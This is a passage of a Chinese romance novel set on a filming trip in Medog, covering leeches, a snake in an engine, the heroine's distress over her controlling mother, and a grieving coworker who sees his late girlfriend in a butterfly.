梁襄微笑起来,“幸福感是给时间丰容的养料,你说的很对。” 邬雪青不太好意思了,摆摆手,“嗐,瞎扯的。” “雪青!” 身后有人叫她,她回身看去,叶嘉木换了身衣服,正坐在帐篷边系鞋带,视线遥遥朝她看来。 她微一僵,转回身,将一块石头用力抛出去。 见她神色悻悻,梁襄迟疑问:“吵架了?” “没有,谁稀得跟他吵架……”她嘟囔。 见叶嘉木走过来,梁襄颔首:“叶总。” “昨晚都睡得怎么样?”叶嘉木问。 “还好。”梁襄答。 叶嘉木又看向邬雪青,声音温和:“你呢?” 她不答,将一块石头用力掷出,噼啪一声掉进水里。 “今天去波密休息一天,吃完早餐就出发了。”他揉揉她脑袋。 邬雪青推开他,斜瞪他一眼。 梁襄自觉多余,笑道:“你们玩,我去吃早餐了。” 他回头往车上走去。 邬雪青盯着梁襄背影看了一会儿,小声和叶嘉木道:“你觉不觉得梁襄好像总有心事?” “他性格一直都这样,不怎么说话,挺踏实的。” “哦……”她递一块石头给他,“你会打水漂吗?” “不会,”他坦然,“你会吗?教教我。” “这都不会,”邬雪青嘲笑,“你还没人家梁襄厉害。” “左一个梁襄右一个梁襄,一大早还跟他在这打水漂,几个意思?”他勾住她肩膀,威胁地把她勒在了怀里。 “就说梁襄,梁襄梁襄梁襄……你!” 叶嘉木搂住她膝弯,一把把她扛了起来,手掌不轻不重地在她屁股上拍了一下,“我看你是欠收拾了。” “放我下来!叶嘉木!” 她用力推他,脸上烧得燥热。 “别玩了,回去吃早餐了。”他把她扛回去。 衣服帽子掉了下来,盖在她头顶,邬雪青鸵鸟似的耷拉着脑袋,在他后背上用力锤了好几拳。 然乌湖一天一夜的拍摄实在熬人,中午,车队开至波密县休息半日,办下边防证,隔一日出发,团队正式进入墨脱。 嘎隆拉雪山终年积雪,覆雪比东达山更深更洁白,单用雪山描述不够恰当,那是一片一望无际的雪原,厚如棉团的云不是飘在天上,而是在雪原上徘徊彳亍。 云遮雾掩,巍峨而又缥缈。 大家都从车窗探出头,举着手机拍雪山,连声惊呼。 出隧道后,几十公里内,海拔一路直降三千米,如同一日经历三季,从冬入秋,又由秋至夏,植被越发茂盛,从高山雪域骤降为绿意葱茂的雨林。 山林里传出猴啼声,一声接一声,仿佛盛情迎接远道而来的客人。 尽管风景宜人,但进入墨脱县内的公路实在跌宕起伏,雪崩、塌方、泥石流,还随时可见倾斜而下的瀑布,几乎把路淹成了湖,碎石土路陡峭,高低不平,能听见车底盘被刮得咂咂作响,车身摇晃得像是进了海里。 他们遇泥闯泥,遇水闯水,终于……开进了一片山林里。 “我们今天就住这里吗?”邬雪青震惊了。 “不住这,今天勘一下景。”叶嘉木又问,“你想和我们一起去,还是在这里等?” 来都来了。 坐了一路车,她骨头都要被颠散架了,邬雪青抻了下懒腰道:“我和你们一起进去。” “路上可能会有蛇和蚂蟥。”叶嘉木认真说。 邬雪青感觉后背有点麻麻的,但她从来没见过真正的蚂蟥,心里生出些不知不畏的好奇,“蚂蟥有毒吗?” “那倒没有。” “那就行,衣服都穿这么厚了,蚂蝗肯定咬不到。而且我们人这么多,蛇也不敢出来吧。” 叶嘉木笑了,“说不准,可能会一脚踩到蛇也说不定。” 邬雪青想咬他。 她往窗外看了下,所 有人现在都在系紧鞋带,戴上帽子、手套,往身上狂喷驱虫水,准备往林子里去。 大家都走了,只有她一个人待在外面才恐怖吧? 她拉紧了冲锋衣拉链,戴上帽子,道:“我也去。” 墨脱境内古木成林,古老高大的树干足有两米多宽,树冠遮天蔽地,阳光下不来,水汽出不去,温度骤然上升,又潮又闷。 他们进入山林,沿溪而上,登山杖不时在石子上打出清脆的响声。 “大家小心脚下,避免踩空!”前面的向导回头喊道。 叶嘉木走在她身后,不时托她后背一把,推着她往前。 走了二十来分钟大家已经气喘吁吁了。 为了拍空镜画面,工作人员沿路做标记,不时商榷着在哪些地方架上摄像头,忙中有序。 临时休息几分钟,叶嘉木被工作人员叫去了,邬雪青气喘吁吁地扶着一棵树拧开杯子喝水。 刚刚他说得那么恐怖,邬雪青还以为林子里会蛇虫密布,但除了一些被惊动的小昆虫,也没见到有蛇和蚂蟥。 风景倒是非常好,路上蕨类丛生,流水潺潺,原生态的自然景观美得让人惊叹。 正想着,她突然感觉似有一滴水掉进后脖颈,皮肤陡然一凉—— 第42章 是一只蚂蟥,还没来得及吸血,邬雪青把它拍落时,它还在她手背上黏了一下。 她没见过旱蚂蟥,甚至疑惑了一下是什么,站在她旁边的人先吓得蹿了起来,“嗷”一嗓子喊道:“有蚂蟥——!” 向导听到了喊声,立马走过来问:“谁被蚂蟥咬了?” 旁边的人指向邬雪青。 “你被咬了,咬在哪了?”向导急忙问。 邬雪青指指地上:“应该没咬到,刚刚掉在我脖子上,正好摸掉了。” 向导松口气,他看了看,确认她没被咬,又从袋子里摸出包盐洒在蚂蟥上,这才回头喊道:“大家都互相检查一下,看看有没有被蚂蟥咬的!” 听到这边的动静,叶嘉木快步朝她走来,神色凝重地将她从头到脚检查了一遍,又细致到翻开她裤腿检查脚踝,确认她身上没有沾任何蚂蟥,他才松口气。 旁边不时发出惨叫,显然有人发现自己被咬了,吓得哀嚎。 “我没事,你身上没有吧?”邬雪青拉开叶嘉木衣领看他脖颈。 叶嘉木低着头给她检查,“难免会沾上一两条,没事,最多被咬几口,只是看着有点恶心人。” “被咬了没感觉的吗?”邬雪青费解。 “嗯,蚂蟥咬人不痒不痛,但会分泌抗凝血的物质,导致一直流血。” “你自己检查一下腿上。”邬雪青皱眉说。 叶嘉木翻开裤腿,左腿上什么也没有,他又拉开右腿,一眼便看见一坨黑乎乎的东西黏在腿上。 邬雪青下意识想用手扒拉掉,被叶嘉木一把拉住,他吓一跳:“你怎么这么虎?” “不是你说的吗?又没有毒,只是看着有点恶心人。” 邬雪青其实不怎么怕虫子,比起害怕,对没见过的动物好奇更多一点。她蹲在叶嘉木脚边,捡了根小木棍拨了拨那条盘踞在他腿上的蚂蟥。 叶嘉木找人要了一把盐,弯腰撒在蚂蟥上,没多会儿,那条蚂蟥就屈成一团,软趴趴地自己滚下去了,一条蜿蜒的血迹也随之从他被咬的伤口处淌了下来。 “医生,”邬雪青抬手挥了一下,道,“这里有人流血了!” 高瑜背着医疗包走过来,先关切地问她:“邬小姐,你也被咬了吗?” 叶嘉木一个大活人还扯着裤腿站在这呢,气笑了,懒声道:“高医生,是我。” “哦,叶总啊,怎么这么不小心。” 高瑜弯下腰,公事公办地拿出消毒棉给他擦干净血渍,又擦上碘伏消毒,抹上抗生素,“伤口先别沾水,小心感染了。” 见伤口没流血了,邬雪青放下心,和高瑜道:“谢谢。” 高瑜翻了翻包,“邬小姐,我这有木姜子做的驱虫喷雾,对蚂蟥很有用,这个给你,你多小心。” 叶嘉木先一步接了过来,笑道:“高医生有这种好东西,怎么不早点拿出来?” 高瑜一噎,生硬解释:“没想到这里会有蚂蟥。” “哦,那还是谢谢高医生了。”他晃晃瓶子。 高瑜胡乱点了下头,掉头又去给其他人处理伤口了。 叶嘉木把喷瓶塞给邬雪青,又将裤腿放下,系紧裤绳,轻哼道:“人家高医生专门送你的。” 邬雪青闻了闻味道,被浓郁的木姜子味呛得有点想流眼泪,她屏住呼吸,往自己和叶嘉木身上喷了喷,随即又问旁边的人需不需要,一瓶喷雾立马被轮流传了出去。 “这么快就给别人了?你这可伤高医生的心了。” 他这语气听着可太阴阳怪气了。 邬雪青笑了起来:“叶嘉木,我发现你有时候特别小学生。” “谁……” 在她“你看,我没说错吧”的表情里,叶嘉木脸色变了变,忍了下来,但还是很不高兴地在她脸上掐了一把。 往上走,小溪涧水流渐渐大了起来,有段路被水流截断,大家呼吸声沉重,小心翼翼地踩着溪涧上的石头过去。 叶嘉木往身后伸出一只手,邬雪青默契拉住了他的手掌,跨上石头,踩着他的脚印往前走。 长途跋涉了二十多分钟,终于走到了一处约有几十米高的峭壁下。 邬雪青仰起头,眯着眼睛往峭壁上看,问叶嘉木:“前面没路了,不会还要往上爬吧?” “这里就是明天的拍摄地,”叶嘉木道,“你不要乱跑,我去前面看看。” “知道的。”邬雪青敷衍。 叶嘉木一走,她拿出手机看了眼,依旧是没有信号。 朱絮蹭到她旁边,拿出了一包萨拉米的小香肠,问她:“邬小姐,你吃零食吗?” 邬雪青惊讶:“你还带了零食啊。” “我怕在山上要待很久,就带了点吃的。”小姑娘腼腆笑笑。 邬雪青接过一包小零食,道:“谢谢。” 朱絮打探问:“邬小姐,你知道今天要在这待多久吗?” “应该没多久,你们叶总说就是勘景。” 朱絮点头,又叹气:“好累啊,山里都是蚂蟥,在这坐又不敢坐。” 邬雪青看了看,指着不远处一块干燥石头说:“那边看着挺干净的,你可以去那里坐会儿。” “您不去吗?” “我不累。” 邬雪青摆摆手。 比起累,她现在更觉得热,拉开了外套拉链敞了敞风。 朱絮目光一定,随即惊恐,“那个,好像有条蚂蟥在你袖子上……” 邬雪青扭头看了下,发现还真是一条蚂蟥,正沿着她袖子往上钻,她屈起两指,对着蚂蟥弹了两下,将蚂蟥远远弹飞了。 朱絮目瞪口呆,简直佩服得五体投地:“你好厉害,你都不怕吗?” 邬雪青想了想,说:“我比较讨厌蛇。” 她去过一次南美洲,虽然没去雨林,但逛了一个小众的蛇展,见到过好几米的庞大森蚺在树木间蠕动。 和那个画面比起来,这小小旱蚂蟥简直不值一提。 偏偏怕什么来什么。 在山里待了约莫一个小时,开始往山下撤。 车队准备往墨脱县城里去了,刚一启动车,叶嘉木就听到了发动机里似乎有异响,他和车队说了一声,下了车,打开车前盖,打着手机灯往发动机处看。 向导也下车问:“怎么了?” “发动机抱死了。” 向导已经很有经验,一听就道:“八成有蛇爬进去,卡在曲轴上了。” “用棍子能弄出来吗?”叶嘉木问。 向导道:“我先找根棍子试试。” 邬雪青也下了车,疑惑道:“怎么了?” “可能有蛇爬进去了,发动机卡住了。”叶嘉木语气还挺平静,说,“雪青,你先去房车上吧。” 邬雪青:“……” 说蛇就来 蛇,她这张嘴什么时候这么灵了? 向导拿了根登山杖往车里敲了敲。 见他们这边有事,大家都围过来往车里瞅。 不知发生了什么,大家忽然惊喊一声,纷纷散开。 邬雪青本来站挺远的,闻声倒是往前又走了几步,看向向导敲打的地方。 一个蛇头忽然竖了起来,是条黑黄相间的长蛇,身上斑纹像一个一个的菱形格子,密密麻麻,看着就让人心里发憷。 叶嘉木看了一圈,除了他和向导,其他人都纷纷惊恐撤退,他戴上了手套,问向导:“这蛇有毒吗?” “是条锦蛇,放心,没毒的,我先把它赶出来。” 向导敲打着发动机,发出震动声,那长蛇一会冒头,一会又躲下去,僵持了好一会儿,蛇终于被激怒了,游出来想攻击人。 叶嘉木趁机从旁伸手,一把掐住了蛇头,另一只手抓住蛇身,将蛇捉了出来。 围观的吃瓜群众大为倾倒,发出了一片叫好声。 叶嘉木神色不动,瞧着特别冷静地把蛇抓了出来,然后走进林子里,远远地把蛇抛了出去。 唐昆高竖起大拇指,喊道:“叶总,牛逼!” 叶嘉木走回来,解下防寒手套扔进后车厢,无人注意时,他撑着后备箱喘出一口气。 “你还好吗?” 猛地听到人说话,叶嘉木吓一跳,他一转头发现邬雪青站在他旁边,好奇地看着他。 “没事。” 他下意识摆出若无其事的表情,抬手想揉她脑袋,手抬到一半又放了下来。 他拿出一瓶矿泉水拧开,道:“帮我倒一下水吧,我冲冲手。” 邬雪青给他倒了水。他眉头紧皱,仔仔细细把手背、手腕、手指都搓洗了一遍。 “好了,谢谢。” 他难得这么客气,邬雪青又看他几眼。 拉开驾驶室的门,他却没有上车,顿了一下,他走去敲了梁襄他们的车窗。 梁襄放下后车窗,问:“怎么了叶总?” 叶嘉木道:“我有些累,下山的路你来开吧。” “好的。” 梁襄话不多,也不多问,下了车,接手了叶嘉木的司机位置。 邬雪青上了车,回头看坐在后座上的叶嘉木,他闭着眼睛,脸色有些白。 她摘下了挂在反光镜下的香囊,往后递给了叶嘉木,“不舒服?要不要闻一闻?” 他接过香囊,朝她笑笑,“可能昨晚没睡好,有点累。” 下山到理塘县城的路已经不远了,半个多小时就到了县城里,众人都商议着待会去哪吃饭。 叶嘉木一向精力充沛过人,今天却拒绝了吃晚饭,只说有点累,想先去休息了。 他唇色发白,压抑着肚子里翻腾的反胃,笑着若无其事地打发走了所有人,一进房间关上门,他扑到马桶旁,哇一声吐了出来。 大家一致选了一家藏餐店,邬雪青不太吃得习惯藏餐,只简单吃了一点,带着打包的饭菜回了酒店。 她敲开叶嘉木的房间门,他已经洗完了澡,脸色看起来已经好很多了。 “晚餐。” 她拎起手里的袋子说。 他眉眼软了下来,“谢谢。” 邬雪青把袋子递给他,道:“我回房间了。” 叶嘉木犹豫了一下,没有出声挽留。 却没直接走,邬雪青抬头和他对视了好一会儿,慢慢说:“叶嘉木,你明明怕蛇,怎么还敢自己抓?” “也不是很怕……” 他想装得云淡风轻。 邬雪青打断他的装腔作势:“小时候见到仿真玩具都会吓得走不动路的人,长大就会不治而愈了吗?” 叶嘉木揉了下额头,失笑道:“怎么别的不记得,我这点窘事你记得这么清楚?” 邬雪青天生就对所有动物缺根弦似的,没什么恐惧感,所以她小时候也并不怕蛇,但叶嘉木很怕蛇,连对仿真玩具都如临大敌,后来慢慢地,她也觉得蛇好像是有点恶心了。 他忘了,但她还记得。 第43章 以往都是叶嘉木非要挤进邬雪青的房间里,今天或许是为了安慰他被蛇吓到的可怜小心脏,在他拉她进门时,邬雪青没多忸怩就进来了。 睡一张床自然也是一回生二回熟。 以往叶嘉木都是沾枕头就着,今天却难得的有些失眠。他脑袋枕着胳膊,仰头看着天花板,像是思索着什么。 邬雪青刚喝完中药,去刷了牙,迷迷糊糊地准备睡了,瞧见他还没要睡的意思,很纳闷地问:“你睡不着?” 他转过身来,和她道:“雪青,后天下午拍完我们就要离开墨脱了,到时候我先送你去林芝机场。” “送我?那你呢?” “我车还要开回隅州呢。” “为什么先送我去机场,不一起走吗?”她疑惑。 “不止你,还有摄制组的人都会一起从林芝走。再过一个月就十一月了,国庆期间我们广告就要宣发出去。广告公司要尽快把母带带回去,我也需要尽快赶回公司,还有很多事要处理,回程途中不会再做停留,一周左右我会回隅州。” 不知不觉间,他们这段旅程已经持续了近半个月了,为了照顾她,过来时的行车速度就慢了不少,如果是他一个人来回,速度肯定是会比带着她更快的。 邬雪青想说她也可以一起赶路,可话到嘴边,她又咽了回去。 她不会开车,回程的一路除了让叶嘉木分心来照顾她外毫无益处。 她曾经从没想过要学开车,反正家里有司机,要去哪安排司机就可以了。 现在她却越来越遗憾自己怎么不会开车呢。 见她不说话了,叶嘉木以为她不高兴了,伸手捏了捏她脸颊,感觉心里柔软得像踩在一片棉花上,低低笑着哄她:“不高兴啦?你如果想和我一起回去也可以,你不是很喜欢恩施的炒腊肉吗,等我们到了恩施,正好再好好吃一顿。” “谁想跟你回去。”邬雪青转了个身背对着他,“我早就想回去了,这里没什么好吃的,也没什么好玩的,无聊死了。” 对她悻悻的话,叶嘉木没有反驳,只是带着些愧疚地轻轻叹了口气。 按原定计划一路安排的都是普通住宿,考虑到她的生活习惯,叶嘉木提高酒店的预算,尽管如此,他也知道这一路的吃住恐怕连她平时生活的最低标准都没有达到。 可她这一路没有因食宿生过气,即便是吃不习惯的菜,她也至多是少吃一些,住非常普通的酒店,她也没有挑剔过,一路风尘仆仆,每天都是连轴转,她也从来没有抱怨过行程的紧凑。 “早点回去也好,等回了隅州好好休息一段时间,藏餐和川菜你都吃不习惯,这几天都瘦了,”他絮絮叨叨地在她耳边念叨,又说,“等我回去,就带你把隅州的美食都尝一遍。” “谁等你,真自恋……” 她嘟嘟囔囔。 叶嘉木低声笑着,只觉得她太可爱了,忍不住把脑袋埋进了她颈窝里亲了亲。 颈窝又痒又麻,邬雪青咬住想笑的嘴唇,耸起肩膀,推开他脑袋,“烦死了,走开。” “下次去你家,你是不是应该和家里重新介绍一下我?” “想得美。” “你要是敢不认账,我就去你家找家长给个公道……” “叶嘉木,你要不要脸呀?”她转回身来,高挑着眉眼瞪他。 “反正你是我的了。” 她忍住了脸上的燥热,闷声说:“你真是想太多了,世界上有那么多男的,我为什么要为了你放弃整片森林……” “整片森林?”叶嘉木把她扒 拉过来面对面,盯着她眼睛问,“那你说说,你这森林里到底还有多少人?” “反正肯定不只你。” 躲开他谴责的眼神,她咕哝着,把脑袋埋进了被子下。 她这话叶嘉木倒是信的。 从幼儿园开始,班里的男生百分之八十都喜欢她,都爱黏着她,一做游戏就唰唰地往她身边贴,等上中学,围在她身边的狂蜂浪蝶就更多了,只是她日渐高冷,懒得搭理那些幼稚的男生。 可有一个人,他不一样…… 他生出了危机感,严肃道:“等你回了隅州,我们每天至少要打两个电话。不许加那些来历不明的男的微信,不许回那种居心不良的人的消息。你是有男朋友的人了,不能再吃着碗里看着锅里了,知不知道?” 她气笑:“叶总,你是皇帝吗?” “不是只要求你,我微信密码是名字缩写和生日,手机密码是1222,你随时都可以查。”他郑重说。 “大哥,我没那么闲。”邬雪青懒得搭理他。 叶嘉木干脆捞起手机,打开了微信,也不管邬雪青愿不愿意,他抱着她划拉着自己联系人列表,指给她看:“你看,我都做了分类的,这些有职称的是我公司的员工,这些带了他司简称的是一些合作对象,这些是亲戚,只有名字的都是以前不大熟的同学……不许闭眼睛!” “好了好了,知道叶总守身如玉,我相信你,睡了睡了。” 邬雪青也不知道自己装睡,装着装着怎么真睡着了,总之一觉醒来,她发现自己不是躺着床上,而是趴在叶嘉木身上,隐隐还有口水淌到了他领口上,打湿了他的衣角。 “……” 她睡相这么差吗? 昨晚窗帘没有拉,她想爬起来,一掀开被子,被窗外的风景震住了。 天气晴好,近处绿树遮蔽,远处的云彩像被镀了一层金光,向覆着积雪的山靠拢,一层一层叠在一起,像一个蛋糕。 想着想着,她都有点饿了。 邬雪青从叶嘉木身上翻下来,捞过手机看了眼,打一半的哈欠霎时收了回去,点开消息一看,脸色更是阴沉了起来。 邬玉瑾:安排了飞机后天下午去林芝机场接你,小叶会帮你联系 邬玉瑾:玩够了就回来收心好好干正事 邬玉瑾:【文件】【文件】【文件】 邬玉瑾:这些资料都认真看看,你爸那边这个项目想交给你去做,退学的事就到今天为止,不要再有下次,别再让我和你爸失望了。 邬玉瑾怎么知道她后天回去的? 邬雪青攥紧了手指。 她醒来没多久,叶嘉木便也醒了。 一整日赶路的疲惫在熟睡后散去,神清气爽。 浴室门响了一声,他看见邬雪青推门而出。 发现他起了,她拉拉链的动作顿了顿。 今天她穿了一件紫色的冲锋衣,黑色的长裤,很中性穿搭,但她长得俏丽,柔顺微卷的长发拢在一侧,将一件简单的冲锋衣也穿出了格外温柔靓丽的气质。 他朝她走过来:“今天怎么起这么早?” 没有回答,邬雪青将拉链拉至下巴处,好一会儿,她声音很平淡地问:“叶嘉木,这些天你是不是一直都和我妈有联系?” 空气忽然一静。 知道她和她妈妈关系一向不好,叶嘉木一时不知道她是不是生气了,语气有些慎重,“也不是经常,偶尔,一般是邵叔打电话过来,聊得很简单,我想你应该不太想接,所以自作主张替你回答了。”他弯下腰,脸上有了几分惴惴,“你,生气了?” 邬雪青又问:“都问些什么?” 他犹豫了一下,如实说:“就问你身体怎么样,有没有什么不舒服,到哪里了,什么时候回去,其他没什么了。” 邬雪青突然有种说不上来的憋闷烦躁,不是冲叶嘉木。她清楚毕竟是长辈打来的电话,他不可能不接,可理智清楚和心里烦躁是两回事。 从小到大,她每天的情况都会被身边人事无巨细地汇报给邬玉瑾。 司机、家教,甚至姥姥姥爷,每一个人都像邬玉瑾安在她身边的眼睛。哪怕她去美国上学了,也活在她的掌控之下。 她任何一次考试的成绩,有没有旷课,放假和同学朋友去干了什么……邬玉瑾都了如指掌。 小时候,她和邬玉瑾见面的次数屈指可数,却总能从佣人口中听到她的要求。 “小姐,夫人说您上周漏掉的游泳课这周必须要加倍补上。” “小姐,夫人说不能挑食,秋葵和芹菜也必须吃。” “小姐,夫人说您上次化学成绩不理想,所以专门给你请了一个化学老师。” “小姐,夫人说已经给你联系好国外学校了,下个学期就可以转学了。” …… 她望着叶嘉木,忽然觉得他特别陌生,变成了一张没有面孔的脸谱,嘴唇一张一合,说出来的每个字她都听不懂。 一股强烈的反胃和不安全感从她心口生了出来,后背的冷汗也唰地一下冒出来。 叶嘉木只看到她顿了一下,然后转身,忽然拉开门跑出去。 “雪青?” 他下意识想追,她却走得很快很慌乱,像想摆脱什么,飞快从酒店安全楼梯走了下去。 有几分钟,邬雪青的行为是不受控制的。 大脑混混沌沌,等她反应过来时,发现自己已经站在了大街上。 周遭一片陌生,小县城街市热闹熙攘,小摊贩们用本地语言叫喊着,小货车开过去,掀起一阵扬尘。 此处山高水远,距离隅州小半个中国的距离,她却觉得一根紧密的细线从身后伸过来,缠住了她的脖颈,不松不紧,正好够束缚她。 她在脑海里一遍一遍理智地说着她现在是自由的,没有任何人可以支配她,可强烈的心悸心慌感却挥之不去。 她伸手按住了心口,胸腔憋闷,突然喘得厉害。 “邬小姐?” 突然,身后有人疑惑地叫了她一声。 她眼前一眩,几乎晕倒。 第44章 “邬小姐,你没事吧?” 一只手臂略扶了她胳膊一下。 邬雪青回头看去,是梁襄站在她身后,有些关心地看着她。 “……没事。” 邬雪青尽力站直身体,但梁襄还是看得出她脸色勉强。 “是低血糖吗?”他问。 邬雪青稍顿,顺势低声应下:“应该是。” “我知道前面有家早餐店,要不我先带你过去吃早餐吧?” “好。” 见她自己能走,梁襄没再搀扶她,不过还是有些担忧地问:“你怎么一个人在外面,叶总他没和你一起吗?” “我一个人出来走走,透透气。” 梁襄没再多问,带她到他刚刚吃完的一家早餐店。 只点了一屉小笼包和一碗豆浆。 梁襄已经吃过早餐了,本来犹豫要不要先回去,见她精神不大好,便还是在她对面坐下了。 邬雪青吃得慢,还没巴掌大的小笼包她咬了半天都没咬到馅。 梁襄也不催促,坐在她对面看了会儿手机。 虽然墨脱偏僻,但城镇内人也不算少,早餐店里还得排着队点单,顾客们高声喊着要吃什么。 接地气的市井气息驱散了邬雪青心里的寒意,她坐了片刻,心悸平复了不少。 梁襄不是个多话的人,邬雪青不开口,他就能一直这么干坐着。 这些天已经了解他的性格,邬雪青不在意他的内向,主动道:“你是哪里人?隅州的吗?” “我?”梁襄抬头,对上她的目光,“我是江西的。” “江西……”邬雪青撑着下颚想了想,“我好像还没去过。” “我们那不算发达,没去过也正常,年轻人一般都出来打工了。”梁襄说。 邬雪青点点头,又问:“你之前说想离职后和你女朋友一起去做旅行社,是打算回老家还是待在隅州?” “隅州生活成本太高了,”梁襄笑笑,目光穿过她头顶望向室外,“可能去云贵那边吧,我女朋友一直很想去那边长住。” “那也很好啊。不过你要离职的事,你领导知道吗?” 梁襄迟疑了下,“我打算等年后再提,麻烦邬小姐先别和叶总说……”他看了她一眼,又很快说,“不过说了也没事,我年后肯定是要走的。” 邬雪青笑笑,“我明白的,放心。” 她虽然没正式上过班,但好歹是学过经济学和企业管理的,没那么不食人间烟火。 虽然经济学和企业管理从来不是她感兴趣的东西…… 想到马上要回隅州,她脸上淡淡的笑意又落了下去。 梁襄放在桌上的手机亮了一下,邬雪青下意识看一眼,瞧见他锁屏壁纸是一张合照。 收到一条墨脱文旅局的系统欢迎短信,梁襄没在意,直接划掉了。 “屏幕那是你女朋友?”她问。 “对。”梁襄顿了顿,垂下眼睑,带了点儿笑说,“她不喜欢拍照,求了她很久才拍的这张照片。” 他屏幕亮着,邬雪青能看见是一个脸有点圆圆的姑娘,站在梁襄身后一些,瞧得出是不太爱拍照,不太好意思地扭头想往他身后躲,被抓拍下了。 “你女朋友长得挺可爱的。”她说。 “是吧,”梁襄笑了起来,聊到女友显然兴致昂扬了许多,“她总说要减肥,我就觉得她这样子挺好的,健康,可爱。太瘦了不健康,一阵风都能刮到,要是起了台风,我都得担心被风刮了去……” 说着说着,看邬雪青一眼,他意识到自己好像说多了,又挺不好意思地说了句:“不过瘦也有瘦的好……” 邬雪青不在意地摆手:“太瘦了确实不健康。” 梁襄憋憋吃吃想说点高情商的话,绞尽脑汁道:“邬小姐长得很漂亮,大家都看得出,叶总很喜欢你……” “那你觉得,是因为我漂亮,所以他才喜欢我吗?” 她撑着下巴,笑眯眯的。 女生用这种语气问问题,绝对不是表面意思。 意识到自己好像又说错话了,梁襄找补:“我不是这个意思,我是说邬小姐很漂亮,那个,秀外慧中,和叶总天造地设。” 天造地设这样的词都用出来了,逗老实人太有意思,邬雪青捧腹笑了好一会儿。 梁襄是个很老实的人,也重情义,他没什么花花肠子,也不爱表现,就像上学时候班里那群不突出,也没什么存在感,但总踏踏实实完成老实布置任务的好孩子。 这样的人做领导或者创业都不大合适,做秘书倒是挺好的,人忠义,嘴严实。 想到这,邬雪青适时打住。 识人用人都和她都没关系,每个人都有自己的路要走。 邬雪青离开后,叶嘉木回头抓起手机,披了件外套急步下楼找她,打电话没通,她手机放在房间里并没有带走,人已经不知所踪。 他跑下楼,问前台刚刚下楼的姑娘往哪个方向去了,前台不太确定地指了个方向:“应该是去早市那边了。” 叶嘉木追出去,把整条早市都走完了也没看见邬雪青,毕竟地方偏远,不是随便打个车都能到家的大都市,她又没带手机,他心里越发焦急,疑心是不是找错了方向,正掉头往回走,便看见了她的背影。 准确说是她和梁襄的背影。 两人保持着不远不近的距离,邬雪青抬头和他说话,早市人声嘈杂,他微微侧下头去听她讲话,瞧见一处水果摊,她指了指,梁襄便和她朝摊贩走去。 她拿起一个青绿的柚子掂了掂,做了一个丢保龄球的动作,梁襄跟着笑了起来。 他们称了两个柚子,又指着橙黄的香橼问价格。 摊贩拿起一半切开的香橼给他们看,邬雪青接过闻了闻,又递给梁襄。 两个人有说有笑,见她想买,梁襄又扯开一个袋子,让她挑了几个香橼放进来。 “我觉得这个可以放一个在你们车里,还能除味,你们那车的烟味啊……”邬雪青啧啧。 梁襄不太好意思道:“这也太浪费了。” “也可以吃的吧,就是看起来好像不太好吃,你可以拿一个去尝尝。” “……谢谢邬小姐,我不爱吃酸的。” 见他一脸窘色,邬雪青笑了好一会儿,“不一定酸呢,你就当尝个新鲜。” 人群熙熙攘攘,从他们身后来来回回走过。 忽然,一只蝴蝶停在梁襄肩膀上。 邬雪青看到了,下意识要给他拍开。 “别——”他伸手抵住了她的手腕,抬手轻轻地用手指拨下蝴蝶抓在他衣服上的前足。 那是一只漂亮的带斑纹的蝴蝶,竟也不怕人,停留在了他手指上,甚至还顺着他手心倒转着走到了他手背上。 “好漂亮的蝴蝶。”她弯腰观察,不太确定道,“这好像是一只中华虎凤蝶,这种蝴蝶应该只有长江中下游有吧,这都到喜马拉雅山脉了,怎么可能会有虎凤蝶呢……” “……只有长江中下游有吗?”梁襄怔怔问。 “可能是我认错了,也许不是虎凤蝶,我只看过一些昆虫标本,但蝴蝶种类太多了,长得像也很有可能。” “两位老板——”小摊贩将称好的水果袋子递过来,他一大声说话,立马将蝴蝶吓跑了。 它张开翅膀,在梁襄手背上踮了一下足,扑朔着飞开了。 梁襄望着从顶棚上飞离的蝴蝶,许久没有说话。 “真的是虎凤蝶吗……”他喃喃说。 邬雪青从老板手上接过水果,见他还在纠结这个问题,她道:“我不确定,如果刚刚拍了照片或许可以去问一下这方面的专家,但它已经飞走了。” 怕手机没信号,进川西后叶嘉木就给了现金给她,没让梁襄付钱,她从兜里掏出一张现金递给小贩。 等小贩找完零钱,她一转头发现梁襄还望着蝴蝶飞走的方向。 “怎么了?你对刚刚的蝴蝶很感兴趣吗?我们上山后应该会看到更多的蝴蝶。”邬雪青疑惑。 梁襄摇头,声音很轻:“那不一样,这是虎凤蝶……” 没想到他这么死脑筋,邬雪青非常无奈:“我刚刚就是随口说的,这里的气候不可能有虎凤蝶,我不是研究昆虫的专家,但这点常识还是有的,刚刚可能就是认错了。” “就是不可能有,所以那一定是虎凤蝶!” 他突然声音大了起来,迈步大步往前走了起来,穿过摊贩,朝蝴蝶飞走的方向追去。 邬雪青不明所以,直觉他状态不对劲,她将水果放在了摊贩那,匆匆说了句“我待会来拿”,赶紧朝梁襄追过去。 “你怎么了?你想找刚刚那只蝴蝶吗?”她跟着他的脚步穿过了许多摊贩,又穿过房子间狭小的巷道,“你这样是找不到的,它早就飞远了!” 他脚步一顿。 邬雪青也跟着停下了步伐,她试探道:“你如果喜欢虎凤蝶,等回了隅州,我找一只标本送你?” 她觉得他现在执拗的状态很不对劲,有点怪吓人的。 他回过了头,两眼通红,嘴唇在抖:“我女朋友叫金凤蝶。” 这什么和什么! 邬雪青无奈道:“梁襄,那只是一只蝴蝶,又不可能是你女朋友。” “是,她是!凤蝶走了……但她刚刚回来看我了,她真的回来看我了,你也看到了,是不是?” 邬雪青声音一顿,望着他通红几乎要掉下眼泪的眼睛,不确定地轻声问:“走了……是什么意思?” “车祸……”他的唇在抖,“明明都救过来了,可是医生说什么感染性腹膜炎……怎么会呢,明明只是轻伤……” 长风从巷道吹过,呜呜作响,哀戚如悲鸣。 不知道此时能说些什么,邬雪青只能歉疚的轻声道:“对不起……” 如果没有遇到她,他不会回头来市场,也不会在水果摊停留,也不会遇到那只蝴蝶,自然,也不会想起这件伤心事。 “那是虎凤蝶,对吗?”他喃喃问她。 无言片刻,邬雪青点了头:“是,那是一只虎凤蝶。” 巷道口,摊贩密集的早市,叶嘉木拎着一袋水果安静地站在人群中。 不远处,邬雪青抬手,轻轻拍了拍梁襄肩膀。 “节哀……我想,她应该一直都在你身边,可能是一只蝴蝶,一片树叶,一阵风,一滴雨……” 第45章 风吹了许久。 梁襄的情绪慢慢平复了平静,他擦掉眼泪,说想一个人静一静,邬雪青应了声好,看着他从巷道另一侧走了出去,没有再跟着他。 心绪复杂。 又站了一会儿,邬雪青走了回去。 途径市场,想起那袋水果,她回头去找卖水果的那小贩,对方却两眼茫然,指着街市口说:“刚刚有一个人说是你朋友,已经替你拿走了。” 她朋友? 